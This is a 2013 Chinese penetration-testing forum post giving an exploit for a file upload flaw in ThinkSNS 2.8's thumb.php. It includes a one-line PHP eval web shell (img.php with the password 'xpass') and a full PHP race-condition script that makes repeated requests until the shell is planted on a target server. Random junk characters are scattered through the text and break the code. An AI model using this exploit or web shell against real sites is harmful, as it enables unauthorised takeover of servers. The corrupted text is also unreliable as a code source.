中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本* s$ @0 T% X: E- ]9 i
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过): }# W5 v, T( E1 n! D4 O
漏洞文件
/ D9 \: E" `- m. R存在漏洞的文件为:thumb.php, D- o6 Q* d% x. M% j; }
作者:韦鲲鹏! `( L& s9 \0 O; o0 X0 i
1、        准备如下PHP文件并上传到服务器(自己的)。
' x- B/ u- U! `3 `/ W0 ~文件内容如下:
/ B, C2 A' C) H; T  R& O: y# A; c<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>4 k: ~. `" m3 e9 I- e! H& J# G, r
2、        计算出临时的文件名:
8 r: \- W. H1 r& o1 c这里我们可以看文件的99行(刚刚是不是没注意呀!)。9 ]$ f5 V) O9 }3 E6 }' L) C, s

8 `, {. g+ }. y& }0 s3、        上传临时文件。) ]0 w- D! w, U3 b9 R& \8 v
4、        访问临时文件。
8 k* E/ |+ o2 C! k/ W9 {3 p; ~但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
7 M! V) Z1 @6 R: ~Exploit文件内容如下:(这个我就不详细解释了)
0 z, e/ {8 q5 d5 Q6 }+ Y<?php9 }  L% r# I( v5 D1 y" k4 r% \
error_reporting(0);) c) o: z9 n* b: k0 ~
set_time_limit(0);
( V6 _( R9 w: Y) B) l- Q$ g: Eini_set(“default_socket_timeout”, 5);
, o* X* x. \/ Z. ifunction http_send($host, $port, $headers) {% J$ A2 _5 D- T* o6 F! Z
$fp = fsockopen($host, $port);
* y# K2 j7 F& H" N/ Y7 c, ~if (!$fp) die(‘Connection -> fail’);
, {  C/ [4 I6 Y! P6 f, U2 s6 A% y/ e# ]fputs($fp, $headers);
# ~! S  T. o+ b7 V  Ureturn $fp;3 X) j; S" R. o$ b/ O9 _; `
}; F; E. ]( C6 X% l0 N
function http_recv($fp) {
, e$ r% U3 M; ~! N. ?2 q" u4 `8 s% Y$ret=”";3 Q: ]0 f9 q! e# ^& n0 O) b
while (!feof($fp))
3 C+ H) n+ F7 ~+ }  Y$ret.= fgets($fp, 1024);
" }: W6 m8 A* l9 j$ {6 U3 jfclose($fp);9 G  C) K- y' c/ Q
return $ret;
, u. Y% T# [  D  Y- D6 {}- h/ i7 z6 K  d1 ]- i- V
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
4 a  U7 k" m" P' j5 @6 j5 z  eprint “# Discovered by 韦鲲鹏 #\n\n”;
) e4 d9 h( Y) D0 p! [5 @if ($argc < 4) {
+ t8 Z* {; S/ l- `0 p# Qprint “Usage:   php <host> <path> <romote_url>\n”;- n1 ^* X3 y6 [4 X
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;; f$ M7 Q+ O. k. R& ?8 T
die();9 ?6 n% y2 @5 U4 V! H/ B5 L
}/ @7 u% ~% [% F* M# Y
$host = $argv[1];
9 [) N5 m/ h- B+ q7 [; B- R% I: }$path = $argv[2];& u1 V/ L% Y2 t( n$ A
$url = $argv[3];# P# l. N: p  p5 |
$i=0;
1 x# ~& U% @; L5 r6 Y& u% N//上传数据包
; u3 g8 S2 k" O% Z) y& m) S8 I$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
) k+ k6 G$ Z6 b' o1 q+ X$headers_up .= “Host: “.$host.”\r\n”;# p6 H- D# A5 N) e3 e2 Q5 ]4 l
$headers_up .= “Connection: close\r\n\r\n”;
- W' f* k# Y) L, Y( necho $headers_up;
3 t8 c: o+ w$ t//临时文件访问数据包5 W* h4 N, _( c7 \4 r) G( x
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;- S# z3 V/ x' y+ m. A9 s
$headers .= “Host: “.$host.”\r\n”;7 Z. D8 s  I- K* L
$headers .= “Connection: close\r\n\r\n”;
3 U8 Y' f6 J2 decho $headers;; H2 m! d  V& \! y2 S
while(++$i<10) {5 C8 V* ]) Q: c' ~" _# J
fclose(http_send($host, 80, $headers));4 z9 w% s/ q+ m1 Z8 d; Z
}+ B$ Q2 v2 W0 J6 D8 ~1 Q/ ], x
fclose(http_send($host, 80, $headers_up));
( ~- r6 d8 l* z7 K$ h$ F1 }while(++$i<50) {
! U( l1 R  N5 i. \& J, `' b9 ufclose(http_send($host, 80, $headers));2 u  ^; o  `0 {. W( k
}, w0 n' f& I/ g0 k/ L! q! x
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
# K+ w% X$ |/ A& p7 U$headers .= “Host: “.$host.”\r\n”;
' C( F5 C  l6 S# P, ^$headers .= “Connection: close\r\n\r\n”;! D) a% v) a: O9 z8 L
$res=http_recv(http_send($host, 80, $headers));
) }" m$ F1 b, o3 lif(preg_match(‘/200 OK/’,$res)) {
7 ~& a+ l. ^8 e, a" Bprint “Success!\n\n”;
, S. }9 ]. x; v& ]} else {
/ L2 h$ s: Q  bprint “Fail!\n\n”;. Z/ Q  u! M+ A2 x' }" W" @
}8 U8 G1 h$ D# |6 C+ G
?>
% J  B& H$ e% Z& W3 }. j8 n; |




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2